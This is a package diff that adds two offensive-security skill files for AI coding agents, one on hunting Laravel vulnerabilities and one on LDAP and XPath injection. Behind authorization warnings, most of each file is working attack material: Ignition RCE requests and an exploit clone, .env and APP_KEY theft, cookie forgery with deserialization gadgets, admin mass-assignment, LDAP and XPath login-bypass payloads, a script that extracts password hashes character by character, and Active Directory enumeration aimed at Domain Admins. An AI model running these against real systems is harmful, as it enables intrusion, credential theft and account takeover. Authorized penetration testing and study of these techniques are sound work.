opencode-skills-collection 4.0.68 → 4.0.69

package/bundled-skills/hunt-laravel/SKILL.md

@@ -0,0 +1,255 @@
+---
+name: hunt-laravel
+description: Hunt Laravel specific vulnerabilities
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, cve_database
+report_count: 14
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-LARAVEL — Laravel Specific Vulnerabilities
+
+## Crown Jewel Targets
+
+Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
+
+**Highest-value findings:**
+- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
+- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
+- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
+- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
+- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
+
+---
+
+## Phase 1 — Fingerprint Laravel
+
+```bash
+# Laravel-specific indicators
+curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
+curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
+
+# Common Laravel paths
+for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
+  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
+  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
+done
+
+# Check error page (trigger 404)
+curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
+```
+
+---
+
+## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
+
+```bash
+# Step 1: Check if debug mode is enabled (Whoops error page)
+curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
+
+# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
+
+# Step 2: Check Ignition endpoint
+curl -s "https://$TARGET/_ignition/health-check" | head -5
+
+# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
+# (Requires debug mode + writable storage/logs)
+# Tool: ambionics/laravel-ignition-rce
+git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
+php /tmp/laravel-rce/exploit.php https://$TARGET "id"
+
+# Manual test — send solution request
+curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
+    "parameters": {
+      "variableName": "x",
+      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
+    }
+  }'
+```
+
+---
+
+## Phase 3 — Laravel Telescope & Horizon
+
+```bash
+# Telescope — request/response logs, DB queries, jobs, cache, events
+curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
+curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
+curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
+curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
+curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
+
+# Horizon — queue worker dashboard
+curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
+curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
+curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
+# Failed job payloads often contain full request data including auth tokens
+
+# Common paths
+for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
+  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
+  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
+done
+```
+
+---
+
+## Phase 4 — .env File & APP_KEY Exposure
+
+```bash
+# Direct .env access
+curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
+curl -s "https://$TARGET/.env.production"
+curl -s "https://$TARGET/.env.backup"
+curl -s "https://$TARGET/.env.local"
+
+# If APP_KEY found:
+APP_KEY="base64:XXXXXXX"
+echo "APP_KEY=$APP_KEY"
+# → Can decrypt all Laravel encrypted cookies
+# → Can forge session cookies → ATO for any user
+
+# Also check
+curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
+```
+
+---
+
+## Phase 4b — Environment override via query args (CVE-2024-52301)
+When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
+```bash
+curl -s "https://$TARGET/?--env=local"          # force debug/local config
+curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
+# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
+```
+
+## Phase 5 — Signed URL Manipulation
+
+```bash
+# Laravel signed URLs contain signature param: ?signature=HASH
+# Find signed URL endpoints
+cat recon/$TARGET/urls.txt | grep "signature="
+
+# Test: modify a non-signature parameter — should fail validation
+SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
+
+# Modify user ID → should fail if properly signed
+curl -s "${SIGNED_URL/user=123/user=999}"
+
+# Test signature bypass: remove signature entirely
+curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
+
+# Test: does the app validate ALL parameters or just some?
+curl -s "${SIGNED_URL}&extra=malicious"
+```
+
+---
+
+## Phase 6 — Mass Assignment via Eloquent
+
+```bash
+# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
+# Test: add extra fields to update/create requests
+
+# Profile update
+curl -s -X POST "https://$TARGET/api/profile" \
+  -H "Cookie: laravel_session=SESSION" \
+  -H "Content-Type: application/json" \
+  -d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
+
+# Registration
+curl -s -X POST "https://$TARGET/api/register" \
+  -H "Content-Type: application/json" \
+  -d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
+```
+
+---
+
+## Phase 7 — Laravel Cookie Deserialization
+
+```bash
+# If APP_KEY is known, forge a session cookie with malicious serialized payload
+# Uses phpggc gadget chains
+
+# Get the app key
+APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
+
+# Generate payload with phpggc
+php phpggc Laravel/RCE5 system 'id' | base64
+
+# Sign the cookie with the app key using laravel-cookie-forge script
+# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
+```
+
+---
+
+## Chain Table
+
+| Laravel finding | Chain to | Impact |
+|----------------|----------|--------|
+| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
+| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
+| Horizon accessible | Read failed job payloads | High - PII/token exfil |
+| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
+| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
+| Mass assignment | Set is_admin=true → privilege escalation | Critical |
+
+---
+
+## Validation
+
+✅ Ignition RCE: `id` command output returned in response
+✅ Telescope: API responses contain DB queries with credentials or user tokens
+✅ APP_KEY: Forged session cookie accepted, returns another user's profile
+✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges
+
+**Severity:**
+- Ignition RCE: Critical
+- Telescope/Horizon with sensitive data: High
+- .env with APP_KEY: Critical
+- Mass assignment to admin: Critical
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-ldap/SKILL.md

@@ -0,0 +1,351 @@
+---
+name: hunt-ldap
+description: Hunt LDAP Injection and XPath Injection
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, owasp, portswigger
+report_count: 0
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-LDAP — LDAP Injection & XPath Injection
+
+> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
+> public platforms (most live on internal-pentest reports). This skill is
+> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
+> (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
+> the **RFC 4515** filter grammar — all publicly verifiable references rather
+> than invented HackerOne IDs. Do not cite a report you cannot link.
+
+## Crown Jewel Targets
+
+LDAP injection that bypasses authentication = **Critical**. Blind attribute
+exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
+
+**Highest-value chains:**
+- **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
+  bind/search returns the admin entry without a valid password.
+- **Blind attribute exfil** — char-by-char extraction of an attribute value via a
+  boolean oracle (login success/failure, result count, or response length).
+- **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
+  `userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
+  by query. See the AD-vs-generic warning below.
+- **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
+
+---
+
+## CRITICAL — Active Directory vs generic LDAP
+
+Do **not** conflate the two. They behave very differently:
+
+| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
+|---|---|---|
+| Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
+| Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
+| Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
+
+**Do not tell a reader that blind LDAP injection yields AD password hashes — it
+does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
+(`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
+store passwords) and auth bypass — not hash dumping. The hash-exfil technique
+applies **only** to non-AD directories exposing `userPassword`.
+
+---
+
+## Attack Surface Signals
+
+```
+Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
+Windows + IIS + "integrated" directory auth
+/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
+"Find a colleague" / org-chart / employee-search features
+XML-backed config or auth → XPath injection candidate
+Error strings that confirm an LDAP backend:
+  javax.naming.NameNotFoundException
+  javax.naming.directory.InvalidSearchFilterException
+  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
+  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
+  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN
+```
+
+---
+
+## LDAP filter grammar (RFC 4515) — why injection works
+
+A login filter is typically built by string-concat:
+
+```
+(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
+```
+
+`&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
+operator comes first and every sub-filter is parenthesised. To inject you must
+(a) escape the current `(uid=...)` group, (b) inject your own logic, and
+(c) leave the overall parenthesis count **balanced** or the server throws a
+filter-syntax error instead of executing.
+
+### The special-character set — TEST EACH ONE
+
+These characters are syntactically meaningful and MUST be escaped by a safe app
+(RFC 4515 §3). If the app reflects an error or behaves differently when you send
+them raw, the input is unescaped → injectable:
+
+| Char | Filter escape | Why it matters |
+|------|---------------|----------------|
+| `*`  | `\2a` | wildcard — matches any value |
+| `(`  | `\28` | opens a filter group |
+| `)`  | `\29` | closes a filter group |
+| `\`  | `\5c` | escape char itself |
+| NUL  | `\00` | string terminator — truncates filter in C-backed servers |
+| `/`  | (DN context) | RDN separator — relevant for DN injection |
+
+**Search-filter context vs DN injection** are different bugs:
+- **Search-filter injection** (most common): your input lands inside a
+  `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
+- **DN injection**: your input is concatenated into a Distinguished Name
+  (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
+  matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
+
+---
+
+## Step-by-Step Hunting Methodology
+
+### Phase 1 — Confirm an LDAP backend (baseline first)
+
+```bash
+# ALWAYS capture a control response first — you compare everything to this.
+BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
+  -X POST https://$TARGET/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"validlookinguser","password":"wrongpass"}')
+echo "BASELINE (valid-format, wrong pw): $BASE"
+
+# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
+# An INJECTABLE app → 500 / filter-syntax error / different size.
+curl -s -X POST https://$TARGET/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username":"test)","password":"x"}' | grep -iE \
+  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
+```
+
+A lone `)` that produces a syntax error/500 while a balanced payload does not is
+the cleanest LDAP-injection tell — note it, you will need it as proof.
+
+### Phase 2 — Auth-bypass payloads (balance your parentheses)
+
+```bash
+# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
+# Goal: make the uid sub-filter always-true and neutralise the password clause.
+
+# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
+#   username = *)(uid=*))(|(uid=*    password = anything
+# Always-true admin (OR uid=*):
+#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
+# NUL-truncate the password clause (C-backed servers):
+#   username = admin)(uid=*))%00      password = x
+
+USERNAME_PAYLOADS=(
+  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
+  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
+  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
+  'admin*'                 # simple wildcard suffix — try first, lowest noise
+)
+
+for P in "${USERNAME_PAYLOADS[@]}"; do
+  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
+    -H "Content-Type: application/json" \
+    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
+  echo "PAYLOAD: $P"
+  echo "RESP:    ${R: -40}"
+  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
+  echo "---"
+done
+```
+
+**Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
+full filter, not just your payload. If the app appends `)(userPassword=...))`
+after your input, leave the right number of trailing `)` so the final string is
+balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
+
+### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
+
+Raw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
+length-jitter on the injected char itself). Use a **paired true/false control**
+so the oracle is the *response*, not the absolute size.
+
+```bash
+# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
+# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
+# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
+probe () {  # $1 = filter-tail payload -> prints normalized size
+  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
+    -H "Content-Type: application/json" \
+    -d "{\"username\":\"$1\",\"password\":\"x\"}"
+}
+T=$(probe 'admin)(uid=*))(|(uid=*')
+F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
+echo "TRUE-class size=$T  FALSE-class size=$F"
+[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
+
+# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
+# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
+PREFIX=""
+for pos in $(seq 1 32); do
+  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
+    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
+    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
+  done
+done
+echo "RECOVERED: $PREFIX"
+```
+
+False-positive guards for blind exfil:
+- **Repeat each positive char 3x** and confirm the size is stable — length-jitter
+  from the attacker-controlled char itself is the #1 false positive.
+- Confirm the **FALSE control still returns the FALSE size** after each round (the
+  app didn't just start erroring on every request — WAF block looks like a match).
+- If body length is unreliable, switch the oracle to **HTTP status**, a **body
+  marker string** (`"Invalid credentials"` present/absent), or **timing** with a
+  heavy filter — but only after establishing a stable baseline delta.
+
+### Phase 4 — XPath injection (XML-backed auth)
+
+```bash
+# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
+# Bypass closes the name predicate and OR-trues the whole expression.
+XPATH_PAYLOADS=(
+  "' or '1'='1"
+  "' or ''='"
+  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
+  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
+  "*[contains(name(),'pass')]"          # node-name discovery
+)
+for P in "${XPATH_PAYLOADS[@]}"; do
+  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
+  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
+    --data-urlencode "username=$P" --data-urlencode "password=x")
+  echo "$P  ->  ${R: -24}"
+done
+# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
+```
+
+### Phase 5 — AD enumeration via wildcard (count oracle, with control)
+
+```bash
+# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
+# A directory that returns the SAME count for both is NOT leaking via wildcard.
+count () { curl -s -X POST https://$TARGET/api/directory/search \
+  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
+  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
+CTRL=$(count "zzqx_unlikely")
+echo "control count (should be ~0): $CTRL"
+for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
+# Then pivot to memberOf / description for privileged accounts:
+#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
+#   (description=*pw*)   (description=*pass*)   — admins stash secrets here
+```
+
+### Phase 6 — Tooling & OOB confirmation
+
+```bash
+# Validate the inferred filter directly if you ever get LDAP creds / a bind:
+ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
+  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
+
+# Burp: Intruder over the char set for blind exfil; the Web Security Academy
+# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
+# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
+# inject a referral/URL the server dereferences, point it at Collaborator:
+#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
+# is server-side proof with zero ambiguity. Treat any Collaborator interaction
+# as the gold-standard confirmation for otherwise-blind cases.
+```
+
+---
+
+## Chain Table
+
+| LDAP finding | Chain to | Impact |
+|--------------|----------|--------|
+| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
+| AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |
+| `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
+| `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |
+| Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |
+| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
+
+> AD has no readable password attribute — do not list "extract AD hashes" as a
+> chain. Against AD, the credential win comes from `description`/`info` misuse or
+> from enumerated usernames feeding a spray, never from `unicodePwd`.
+
+---
+
+## Validation — rule out the false positive BEFORE you report
+
+A "bypass" or "match" is only real once you have eliminated syntax-error,
+WAF-block, and length-jitter explanations.
+
+- [ ] **Auth bypass:** the always-true payload returns a **valid authenticated
+      session** (session cookie + access to a post-login resource), and the same
+      request with one paren removed returns a **filter-syntax error** — proving
+      the filter parsed and executed, not that the app fell open on every input.
+- [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload
+      (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both
+      true-class and false-class "succeed", you found a broken endpoint, not LDAP
+      injection.
+- [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the
+      FALSE control still reads FALSE between rounds; recovered value verified by
+      a direct lookup or by the auth-bypass payload that uses it.
+- [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged
+      in to a real account context — not just a different error page.
+- [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral
+      payload is decisive for blind cases — prefer it over length-only inference.
+- [ ] **AD claim discipline:** if you say "AD", you enumerated AD-specific attrs
+      (`sAMAccountName`/`memberOf`); never claim AD hash exfil.
+
+**Severity:**
+- Auth bypass landing as admin/privileged directory entry: **Critical**
+- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**
+- AD user/group enumeration only: **Medium-High**
+- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.